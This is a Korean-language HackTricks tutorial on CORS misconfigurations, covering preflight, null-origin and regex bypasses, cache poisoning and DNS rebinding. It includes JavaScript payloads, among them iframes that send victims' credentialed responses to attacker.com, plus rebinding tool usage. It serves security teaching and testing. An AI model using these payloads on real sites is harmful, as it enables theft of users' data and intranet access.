CORS - Misconfigurations & Bypass

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

CORS란?

Cross-Origin Resource Sharing (CORS) 표준은 서버가 누가 자산에 접근할 수 있는지와 어떤 HTTP 요청 방법이 외부 출처에서 허용되는지를 정의할 수 있도록 한다.

동일 출처(same-origin) 정책은 리소스를 요청하는 서버와 리소스를 호스팅하는 서버가 동일한 프로토콜(예: http://), 도메인 이름(예: internal-web.com), 및 포트(예: 80)를 공유해야 함을 요구한다. 이 정책 하에서는 동일한 도메인과 포트의 웹 페이지만 리소스에 접근할 수 있다.

http://normal-website.com/example/example.html 맥락에서 동일 출처 정책의 적용 예는 다음과 같다:

URL accessedAccess permitted?
http://normal-website.com/example/예: 동일한 스킴(프로토콜), 도메인 및 포트
http://normal-website.com/example2/예: 동일한 스킴(프로토콜), 도메인 및 포트
https://normal-website.com/example/아니오: 다른 스킴 및 포트
http://en.normal-website.com/example/아니오: 다른 도메인
http://www.normal-website.com/example/아니오: 다른 도메인
http://normal-website.com:8080/example/아니오: 다른 포트*

*Internet Explorer는 same-origin 정책을 적용할 때 포트 번호를 무시하므로 이 접근을 허용한다.

Access-Control-Allow-Origin 헤더

이 헤더는 여러 origin, null 값, 또는 와일드카드 *****를 허용할 수 있다. 그러나 어떤 브라우저도 여러 origin을 지원하지 않으며, 와일드카드 *의 사용에는 제한이 있다. (와일드카드는 단독으로만 사용되어야 하며, Access-Control-Allow-Credentials: true와 함께 사용하는 것은 허용되지 않는다.)

이 헤더는 웹사이트에서 시작된 교차 도메인 리소스 요청에 대해 서버가 응답할 때 발행되며, 브라우저는 자동으로 Origin 헤더를 추가한다.

Access-Control-Allow-Credentials 헤더

기본적으로 교차 출처 요청은 cookies나 Authorization header 같은 자격 증명 없이 이루어진다. 그러나 교차 도메인 서버는 클라이언트가 자격 증명을 전송할 때 응답을 읽을 수 있도록 Access-Control-Allow-Credentials 헤더를 **true**로 설정하여 허용할 수 있다.

Access-Control-Allow-Credentialstrue로 설정되면 브라우저는 자격 증명(cookies, authorization headers, 또는 TLS client certificates)을 전송한다.

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF 프리플라이트 요청

교차 출처 통신에서 프리플라이트 요청 이해하기

특정 조건(예: 비표준 HTTP 메서드 사용(HEAD, GET, POST 이외의 모든 것), 새로운 헤더 추가, 또는 특수한 Content-Type 헤더 값 사용) 하에서 교차 출처 요청을 시작할 때 프리플라이트 요청이 필요할 수 있습니다.

이 예비 요청은 OPTIONS 메서드를 사용해 향후 발생할 교차 출처 요청의 의도(사용하려는 HTTP 메서드와 헤더 등을) 를 서버에 알리는 역할을 합니다.

교차 출처 리소스 공유 (CORS) 프로토콜은 허용된 메서드, 헤더 및 출처의 신뢰성을 확인하여 요청된 교차 출처 작업의 실행 가능성을 판단하기 위해 이 프리플라이트 검사를 요구합니다. 프리플라이트 요청이 필요하지 않은 조건에 대해 자세히 알고 싶다면 Mozilla Developer Network (MDN)의 포괄적인 가이드를 참조하세요.

프리플라이트 요청의 부재가 응답에 권한 관련 헤더가 없어도 된다는 것을 의미하지 않는다는 점은 매우 중요합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청의 응답을 처리할 수 없습니다.

다음은 PUT 메서드와 Special-Request-Header라는 커스텀 헤더를 사용하려는 목적의 프리플라이트 요청 예시입니다:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

응답으로 서버는 아래와 같이 accepted methods, allowed origin 및 기타 CORS policy details를 나타내는 headers를 반환할 수 있습니다:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: 이 헤더는 실제 요청에서 어떤 헤더를 사용할 수 있는지 지정합니다. 서버가 클라이언트의 요청에서 허용되는 헤더를 표시하기 위해 설정합니다.
  • Access-Control-Expose-Headers: 이 헤더를 통해 서버는 단순 응답 헤더 외에 어떤 헤더를 응답의 일부로 노출할 수 있는지 클라이언트에게 알립니다.
  • Access-Control-Max-Age: 이 헤더는 사전 요청(pre-flight request)의 결과를 얼마나 오래 캐시할 수 있는지 나타냅니다. 서버는 사전 요청으로 반환된 정보를 재사용할 수 있는 최대 시간을 초 단위로 설정합니다.
  • Access-Control-Request-Headers: 사전 요청에서 사용되며, 클라이언트가 실제 요청에서 사용하려는 HTTP 헤더를 서버에 알리기 위해 클라이언트가 설정합니다.
  • Access-Control-Request-Method: 이 헤더는 역시 사전 요청에서 사용되며, 클라이언트가 실제 요청에서 사용할 HTTP 메서드를 나타내기 위해 설정합니다.
  • Origin: 이 헤더는 브라우저에 의해 자동으로 설정되며 교차 출처 요청의 출처(origin)를 나타냅니다. 서버는 이를 사용해 CORS 정책에 따라 들어오는 요청을 허용할지 거부할지 판단합니다.

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
따라서 CORS는 CSRF로부터 보호하지 않습니다(그러나 도움이 될 수 있습니다).

로컬 네트워크 요청의 사전 요청

  1. Access-Control-Request-Local-Network: 이 헤더는 클라이언트의 요청에 포함되어 해당 요청이 로컬 네트워크 리소스를 대상으로 한다는 것을 표시합니다. 이는 요청이 로컬 네트워크 내부에서 왔음을 서버에 알리는 표시 역할을 합니다.
  2. Access-Control-Allow-Local-Network: 응답에서는 서버가 이 헤더를 사용하여 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유되는 것을 허용한다는 것을 알립니다. 이는 서로 다른 네트워크 경계 간에 리소스를 공유해도 된다는 신호로 작용하며, 보안 프로토콜을 유지하면서 제어된 접근을 보장합니다.

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

linux 0.0.0.0 IP는 해당 IP 주소가 “local“로 간주되지 않기 때문에 localhost에 접근하기 위한 이러한 요구사항을 bypass하는 데 작동한다는 점에 유의하세요.

또한 public IP address of a local endpoint(예: router의 public IP)를 사용하면 bypass the Local Network requirements하는 것이 가능합니다. 여러 경우에 public IP에 접근하더라도 그것이 from the local network인 경우 접근이 허용될 수 있습니다.

와일드카드

다음 설정이 매우 관대해 보일지라도:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

This is not allowed by browsers and therefore credentials won’t be sent with the request allowed by this.

악용 가능한 잘못된 구성

관찰된 바에 따르면 Access-Control-Allow-Credentials를 **true**로 설정하는 것은 대부분의 실제 공격에 대한 전제 조건입니다. 이 설정은 browser가 credentials를 전송하고 응답을 읽을 수 있도록 허용하여 공격의 효율성을 높입니다. 이 설정이 없으면, browser에게 요청을 수행하게 하는 것과 자신이 직접 요청하는 것 사이의 이점이 줄어들며, 사용자의 cookies를 이용하는 것이 실현 불가능해집니다.

예외: 네트워크 위치를 인증 수단으로 악용하기

피해자의 network location이 일종의 인증 수단으로 작동하는 예외가 있습니다. 이 경우 피해자의 browser를 프록시로 사용하여 IP-based authentication을 우회하고 intranet applications에 접근할 수 있습니다. 이 방법은 영향 측면에서 DNS rebinding과 유사하지만 악용하기는 더 간단합니다.

OriginAccess-Control-Allow-Origin에 반영되는 경우

현실에서 Origin header의 값이 Access-Control-Allow-Origin에 반영되는 시나리오는, 이러한 헤더들을 결합하는 데 대한 제약 때문에 이론적으로는 드뭅니다. 하지만 여러 URL에 대해 CORS를 활성화하려는 개발자들은 Origin header의 값을 복사하여 Access-Control-Allow-Origin 헤더를 동적으로 생성할 수 있습니다. 이러한 방식은 취약점을 초래할 수 있으며, 특히 공격자가 합법적으로 보이도록 이름을 조작한 도메인을 사용하여 검증 로직을 속일 경우 문제가 됩니다.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin 악용

null origin은 리디렉트나 로컬 HTML 파일과 같은 상황에서 지정되며, 특수한 위치를 차지한다. 일부 애플리케이션은 로컬 개발을 위해 이 origin을 화이트리스트에 추가하는데, 그 결과 의도치 않게 어떤 웹사이트든 sandboxed iframe을 통해 null origin을 흉내 내어 CORS 제한을 우회할 수 있게 된다.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression 우회 기법

도메인 화이트리스트를 만났을 때는 공격자의 도메인을 화이트리스트 도메인에 덧붙이거나 subdomain takeover 취약점을 이용하는 등 우회 가능성을 반드시 테스트해야 합니다. 또한 도메인 검증에 사용되는 regular expressions이 도메인 명명 규칙의 미묘한 차이를 놓칠 수 있어 추가적인 우회 가능성이 존재합니다.

Advanced Regular Expression 우회

Regex 패턴은 일반적으로 영숫자, dot (.), hyphen (-) 문자에 집중하고 다른 가능성은 간과하는 경향이 있습니다. 예를 들어 브라우저와 regex 패턴에서 다르게 해석되는 문자를 포함하도록 제작된 도메인은 보안 검사를 우회할 수 있습니다. Safari, Chrome, Firefox가 서브도메인에서의 언더스코어 문자 처리 방식이 다르다는 점은 이러한 불일치를 악용해 도메인 검증 로직을 회피하는 방법을 보여줍니다.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

서브도메인 내부의 XSS로부터

개발자들은 허용된 도메인만 정보를 요청할 수 있도록 도메인을 화이트리스트에 올려 CORS 악용을 방어하는 경우가 많습니다. 그러나 이러한 대비책에도 불구하고 시스템 보안은 완전하지 않습니다. 화이트리스트된 도메인 중 단 하나의 취약한 서브도메인만 있어도 XSS (Cross-Site Scripting) 같은 다른 취약점을 통해 CORS 악용이 가능해집니다.

예를 들어, 도메인 requester.com이 다른 도메인 provider.com의 리소스에 접근하도록 화이트리스트에 등록되어 있다고 가정해 보겠습니다. 서버 측 설정은 대략 다음과 같을 수 있습니다:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

이 설정에서는 requester.com의 모든 하위 도메인이 접근을 허용합니다. 그러나 sub.requester.com 같은 하위 도메인이 XSS 취약점으로 탈취되면 공격자는 이 약점을 악용할 수 있습니다. 예를 들어 sub.requester.com에 접근 권한이 있는 공격자는 XSS 취약점을 이용해 CORS 정책을 우회하고 provider.com의 리소스에 악의적으로 접근할 수 있습니다.

특수 문자

PortSwigger의 URL validation bypass cheat sheet는 일부 브라우저가 도메인 이름에 이상한 문자를 허용한다는 것을 발견했습니다.

Chrome과 Firefox는 Origin 헤더를 검증하도록 구현된 regexes를 우회할 수 있는 밑줄 문자 _를 지원합니다:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari는 도메인 이름에서 특수 문자를 허용하는 데 훨씬 더 관대합니다:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

기타 재미있는 URL 트릭

URL Format Bypass

Server-side cache poisoning

From this research

HTTP header injection을 통해 server-side cache poisoning을 악용하면 저장된 Cross-Site Scripting (XSS) 취약점이 유발될 수 있습니다. 이 시나리오는 애플리케이션이 Origin 헤더의 불법 문자를 적절히 정제하지 못할 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 영향을 줍니다. 이들 브라우저는 (0x0d)를 합법적인 HTTP 헤더 종료자로 처리하여 HTTP header injection 취약점으로 이어집니다.

다음은 Origin 헤더가 조작된 요청의 예입니다:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer와 Edge는 응답을 다음과 같이 해석합니다:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

웹 브라우저로 잘못된 헤더를 전송하게 하여 이 취약점을 직접 악용하는 것은 현실적이지 않지만, Burp Suite와 같은 도구를 사용해 수작업으로 조작된 요청을 생성할 수 있다. 이 방법은 server-side cache가 응답을 저장해 다른 사용자에게 의도치 않게 제공되도록 만들 수 있다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하는데, UTF-7은 특정 컨텍스트에서 문자를 스크립트로 실행될 수 있는 방식으로 인코딩할 수 있기 때문에 XSS 취약점과 관련이 있는 인코딩이다.

추가로 stored XSS 취약점에 대해 읽어보려면 PortSwigger를 참조하라.

참고: HTTP header injection 취약점의 악용, 특히 server-side cache poisoning을 통한 악용은 HTTP headers를 포함한 모든 사용자 입력을 검증하고 정리(sanitize)하는 것이 얼마나 중요한지를 강조한다. 이러한 취약점을 방지하려면 입력 검증을 포함한 강력한 보안 모델을 항상 적용해야 한다.

Client-Side cache poisoning

From this research

이 시나리오에서는 적절한 인코딩 없이 커스텀 HTTP 헤더의 내용을 반영하는 웹 페이지 인스턴스가 관찰된다. 구체적으로, 웹 페이지는 X-User-id 헤더에 포함된 내용을 반사하는데, 이 내용에는 악성 JavaScript가 포함될 수 있으며, 예시에서는 헤더에 로드 시 JavaScript를 실행하도록 설계된 SVG 이미지 태그가 포함되어 있다.

Cross-Origin Resource Sharing (CORS) 정책은 커스텀 헤더 전송을 허용한다. 그러나 CORS 제한으로 인해 브라우저가 응답을 직접 렌더링하지 않는다면 이러한 주입의 유용성은 제한적으로 보일 수 있다. 핵심은 브라우저의 캐시 동작을 고려할 때 발생한다. Vary: Origin 헤더가 지정되지 않은 경우, 악성 응답이 브라우저에 캐시될 수 있다. 이후 이 캐시된 응답은 URL로 이동할 때 직접 렌더링될 수 있어 초기 요청 시 직접 렌더링할 필요를 우회할 수 있다. 이 메커니즘은 client-side caching을 활용하여 공격의 신뢰성을 높인다.

이 공격을 설명하기 위해 웹 페이지 환경(예: JSFiddle)에서 실행되도록 설계된 JavaScript 예제가 제공된다. 이 스크립트는 간단한 동작을 수행한다: 악성 JavaScript를 포함한 커스텀 헤더와 함께 지정된 URL로 요청을 보낸다. 요청이 성공하면 타깃 URL로 이동을 시도하며, 만약 Vary: Origin 헤더를 적절히 처리하지 않아 응답이 캐시되어 있었다면 주입된 스크립트가 실행될 가능성이 있다.

다음은 이 공격을 실행하기 위해 사용된 JavaScript의 요약 설명이다:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

우회

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI(또는 Cross-Site Script Inclusion)는 Same Origin Policy (SOP)가 script 태그로 리소스를 포함할 때 적용되지 않는 점을 악용하는 취약점 유형입니다. 스크립트는 다른 도메인에서 포함될 수 있어야 하기 때문에 SOP가 적용되지 않습니다. 이 취약점은 script 태그로 포함된 어떤 콘텐츠든 공격자가 접근하고 읽을 수 있게 합니다.

이 취약점은 동적 JavaScript나 JSONP(JSON with Padding)에서 특히 심각해지며, cookies 같은 ambient-authority 정보가 인증에 사용될 때 문제가 됩니다. 다른 호스트에서 리소스를 요청하면 cookies가 포함되어 공격자가 이를 이용할 수 있습니다.

이 취약점을 더 잘 이해하고 완화하려면 BurpSuite 플러그인을 사용해보세요: https://github.com/kapytein/jsonp. 이 플러그인은 웹 애플리케이션에서 잠재적 XSSI 취약점을 식별하고 대응하는 데 도움이 됩니다.

Read more about the difefrent types of XSSI and how to exploit them here.

요청에 callback parameter를 추가해보세요. 해당 페이지가 데이터를 JSONP로 전송하도록 준비되어 있을 수 있습니다. 그런 경우 페이지는 Content-Type: application/javascript로 데이터를 반환하며 이는 CORS 정책을 우회합니다.

쉬운(쓸모없는?) 우회

Access-Control-Allow-Origin 제한을 우회하는 한 가지 방법은 웹 애플리케이션이 대신 요청을 수행하고 응답을 다시 보내도록 요청하는 것입니다. 다만 이 시나리오에서는 최종 피해자의 자격증명(credentials)은 다른 도메인으로 요청이 이루어지기 때문에 전송되지 않습니다.

  1. CORS-escape: 이 도구는 요청과 헤더를 전달하면서 Origin 헤더를 요청된 도메인으로 스푸핑하는 프록시를 제공합니다. 이는 CORS 정책을 효과적으로 우회합니다. 예제 사용법은 XMLHttpRequest와 함께 다음과 같습니다.
  2. simple-cors-escape: 이 도구는 요청을 있는 그대로 전달하는 대신 서버가 지정된 파라미터로 자체 요청을 수행하는 대체 접근법을 제공합니다.

Iframe + Popup 우회

e.origin === window.origin 같은 CORS 검사를 iframe을 생성하고 그 iframe에서 새 창을 여는 것으로 우회할 수 있습니다. 자세한 내용은 다음 페이지를 참조하세요:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL은 DNS 레코드를 조작하여 특정 보안 조치를 우회하는 기술입니다. 동작 방식은 다음과 같습니다:

  1. 공격자가 웹 페이지를 만들고 피해자가 이를 접속하게 합니다.
  2. 공격자는 자신의 도메인의 DNS(IP)를 피해자의 웹 페이지를 가리키도록 변경합니다.
  3. 피해자의 브라우저가 DNS 응답을 캐시하는데, 이때 TTL(Time to Live) 값이 얼마 동안 유효한지 나타냅니다.
  4. TTL이 만료되면 피해자의 브라우저는 새로운 DNS 요청을 수행하고, 공격자는 피해자의 페이지에서 JavaScript 코드를 실행할 수 있습니다.
  5. 공격자가 피해자의 IP 제어를 유지하면 피해자의 서버로 cookies를 전송하지 않고도 정보를 수집할 수 있습니다.

브라우저에는 캐시 메커니즘이 있어 낮은 TTL 값에도 즉각적인 악용을 방지할 수 있다는 점을 유의하세요.

DNS rebinding은 피해자가 수행하는 명시적 IP 검사 우회나, 사용자가 같은 페이지에 오랜 시간 머무르는 시나리오에서 캐시가 만료될 때 유용합니다.

빠르게 DNS rebinding을 악용하려면 다음과 같은 서비스를 사용할 수 있습니다: https://lock.cmpxchg8b.com/rebinder.html.

자신의 DNS rebinding 서버를 실행하려면 DNSrebinder(https://github.com/mogwailabs/DNSrebinder) 같은 도구를 사용할 수 있습니다. 이는 로컬 포트 53/udp를 노출하고, 해당 A 레코드(ns.example.com 등)를 생성한 뒤 그 A 서브도메인을 가리키는 NS 레코드를 만드는 방식입니다. 그런 다음 ns.example.com의 어떤 서브도메인도 호스트에 의해 해결됩니다.

공개적으로 운영되는 서버 예시는 http://rebind.it/singularity.html을 참고하세요.

DNS Rebinding via DNS Cache Flooding

DNS cache flooding을 통한 DNS rebinding은 브라우저의 캐싱 방어를 우회하여 두 번째 DNS 요청을 강제하는 또 다른 기법입니다. 동작 방식은 다음과 같습니다:

  1. 초기에는 피해자가 DNS 요청을 하면 공격자의 IP로 응답합니다.
  2. 캐싱 방어를 우회하기 위해 공격자는 service worker를 활용합니다. service worker가 DNS 캐시를 플러딩하여 캐시된 공격자 서버 이름을 삭제합니다.
  3. 피해자의 브라우저가 두 번째 DNS 요청을 수행하면 이번에는 일반적으로 localhost를 가리키는 127.0.0.1로 응답합니다.

service worker로 DNS 캐시를 플러딩함으로써 공격자는 DNS 해석 과정을 조작하고 피해자의 브라우저가 두 번째 요청을 하도록 강제할 수 있습니다.

DNS Rebinding via Cache

캐싱 방어를 우회하는 또 다른 방법은 동일한 서브도메인에 대해 여러 IP 주소를 DNS 제공자에 설정하는 것입니다. 동작 방식은 다음과 같습니다:

  1. 공격자는 DNS 제공자에 동일한 서브도메인에 대해 두 개의 A 레코드(또는 두 IP를 가진 단일 A 레코드)를 설정합니다.
  2. 브라우저가 이 레코드를 확인하면 두 IP 주소를 모두 받습니다.
  3. 브라우저가 먼저 공격자 IP를 사용하기로 결정하면, 공격자는 동일 도메인에 대해 HTTP 요청을 수행하는 페이로드를 제공합니다.
  4. 그러나 공격자가 피해자의 IP를 획득하면 공격자는 더 이상 피해자의 브라우저에 응답하지 않습니다.
  5. 브라우저가 도메인이 응답하지 않는 것을 인지하면 두 번째로 제공된 IP 주소를 사용하게 됩니다.
  6. 브라우저가 두 번째 IP에 접근함으로써 Same Origin Policy(SOP)를 우회하게 되고, 공격자는 정보를 수집·유출할 수 있습니다.

이 기법은 동일 도메인에 대해 여러 IP가 제공될 때 브라우저의 행동을 이용합니다. 응답을 전략적으로 통제하고 브라우저의 IP 선택을 조작하면 공격자는 SOP를 악용할 수 있습니다.

Warning

Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didn’t allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them “0.0.0.0”

자세한 정보는 다음을 확인하세요: https://unit42.paloaltonetworks.com/dns-rebinding/

기타 일반적인 우회

  • 내부 IP가 허용되지 않는 경우, 0.0.0.0를 금지하는 것을 깜빡했을 수 있습니다 (Linux 및 Mac에서 동작).
  • 내부 IP가 허용되지 않는 경우, 응답으로 localhost로 가리키는 CNAME을 반환할 수 있습니다 (Linux 및 Mac에서 동작).
  • DNS 응답으로 내부 IP가 허용되지 않는 경우, www.corporate.internal 같은 내부 서비스로의 CNAME을 반환할 수 있습니다.

무기화된 DNS Rebidding

앞서 설명한 우회 기법과 다음 도구 사용 방법에 대한 자세한 내용은 Gerald Doussot의 강연 Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference를 참조하세요.

Singularity of OriginDNS rebinding 공격을 수행하는 도구입니다. 이 도구에는 공격자 서버 DNS 이름의 IP를 대상 머신의 IP로 재바인딩하고 대상 머신의 취약한 소프트웨어를 악용할 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH는 단순히 고전적인 RFC1035 DNS wire 포맷을 HTTPS 안에 터널링합니다(일반적으로 Content-Type: application/dns-message인 POST). 리졸버는 여전히 동일한 리소스 레코드로 응답하므로, 브라우저가 공격자 제어 호스트명을 TLS를 통해 해석하더라도 SOP를 깨는 기법은 계속 작동합니다.

주요 관찰사항

  • Chrome(Windows/macOS)과 Firefox(Linux)은 Cloudflare, Google, OpenDNS DoH 리졸버로 구성했을 때 재바인딩에 성공합니다. 전송 암호화는 first-then-second, multiple-answers, 또는 DNS cache flooding 전략에서 공격 흐름을 지연시키거나 차단하지 않습니다.
  • 공개 리졸버는 여전히 모든 쿼리를 보지만, 브라우저가 따라야 하는 호스트-투-IP 매핑을 강제하는 경우는 드뭅니다. 권한 서버가 재바인딩 시퀀스를 반환하면 브라우저는 새로운 IP에 연결하면서도 원래의 origin 튜플을 유지합니다.

Singularity 전략과 DoH상의 타이밍

  • First-then-second는 여전히 가장 신뢰할 수 있는 옵션입니다: 첫 조회는 페이로드를 제공하는 공격자 IP를 반환하고, 이후의 모든 조회는 내부/localhost IP를 반환합니다. 일반적인 브라우저 DNS 캐시에서는 이 전환이 ~40–60초 내에 일어납니다(재귀 리졸버가 HTTPS로만 접근 가능한 경우에도).
  • **Multiple answers (fast rebinding)**는 두 개의 A 레코드(공격자 IP + Linux/macOS의 0.0.0.0 또는 Windows의 127.0.0.1)로 응답하고 첫 번째 IP를 프로그램적으로 블랙홀(예: iptables -I OUTPUT -d <attacker_ip> -j DROP) 처리하면 <3초 내에 localhost에 도달합니다. Firefox의 DoH 구현은 반복적인 DNS 쿼리를 발생시킬 수 있으므로 Singularity의 수정 방법은 타이머를 매 쿼리마다 갱신하는 대신 첫 번째 쿼리 타임스탬프에 상대적으로 방화벽 규칙을 스케줄하는 것입니다.

DoH 제공자의 “rebind protection”을 무력화하기

  • 일부 제공자(예: NextDNS)는 private/loopback 응답을 0.0.0.0으로 대체하지만, Linux와 macOS는 해당 목적지를 로컬 서비스로 라우팅합니다. 따라서 두 번째 레코드로 의도적으로 0.0.0.0을 반환하면 여전히 origin을 localhost로 전환할 수 있습니다.
  • 직접적인 A/AAAA 응답만 필터링하는 것은 비효과적입니다: 내부 전용 호스트명으로의 CNAME을 반환하면 공개 DoH 리졸버가 별칭을 전달하고 Firefox 같은 브라우저는 내부 존에 대해 시스템 DNS로 폴백하여 여전히 내부 IP로 해석을 완료하며 공격자 origin으로 처리됩니다.

브라우저별 DoH 동작

  • Firefox DoH는 폴백 모드로 동작합니다: DoH 실패(해결되지 않는 CNAME 대상 포함)는 OS 리졸버를 통한 평문 조회를 트리거하며, 이는 일반적으로 내부 네임스페이스를 아는 엔터프라이즈 DNS 서버입니다. 이 동작은 CNAME 우회가 기업 네트워크 내부에서 신뢰할 수 있게 만드는 이유입니다.
  • Chrome DoH는 OS DNS가 화이트리스트에 등록된 DoH 지원 재귀 리졸버(Cloudflare, Google, Quad9 등)를 가리킬 때만 활성화되며 동일한 폴백 체인을 제공하지 않습니다. 내부호스트명은 기업 DNS에만 존재하면 해결되지 않지만, localhost나 라우팅 가능한 주소로의 재바인딩은 응답 세트를 공격자가 완전히 제어하므로 여전히 성공합니다.

DoH 흐름 테스트 및 모니터링

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS에서 DoH 엔드포인트를 지정하세요(Cloudflare와 NextDNS가 내장되어 있음). Chrome/Chromium: chrome://flags/#dns-over-https를 활성화하고 OS DNS 서버를 Chrome이 지원하는 리졸버(예: 1.1.1.1/1.0.0.1)로 구성하세요.
  • 공개 DoH API를 직접 쿼리할 수 있습니다. 예: curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq로 브라우저가 캐시할 정확한 레코드를 확인하세요.
  • DoH는 단순히 HTTPS이기 때문에 Burp/ZAP로 인터셉트하는 것도 여전히 작동합니다(본문에 바이너리 DNS 페이로드). 패킷 수준 검사에는 브라우저를 실행하기 전에 TLS 키를 내보내세요(export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) 그리고 Wireshark로 DoH 세션을 해독한 뒤 dns 디스플레이 필터로 브라우저가 DoH에 머무르는지 평문 DNS로 폴백하는지를 확인하세요.

DNS Rebinding에 대한 실제 방어

  • 내부 서비스에 TLS 사용
  • 데이터 접근에 인증 요구
  • Host 헤더 검증
  • https://wicg.github.io/private-network-access/: 공개 서버가 내부 서버에 접근할 때 항상 pre-flight 요청을 전송하도록 하는 제안

도구

CORS 정책의 가능한 잘못된 구성들을 퍼즈(Fuzz)하세요

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기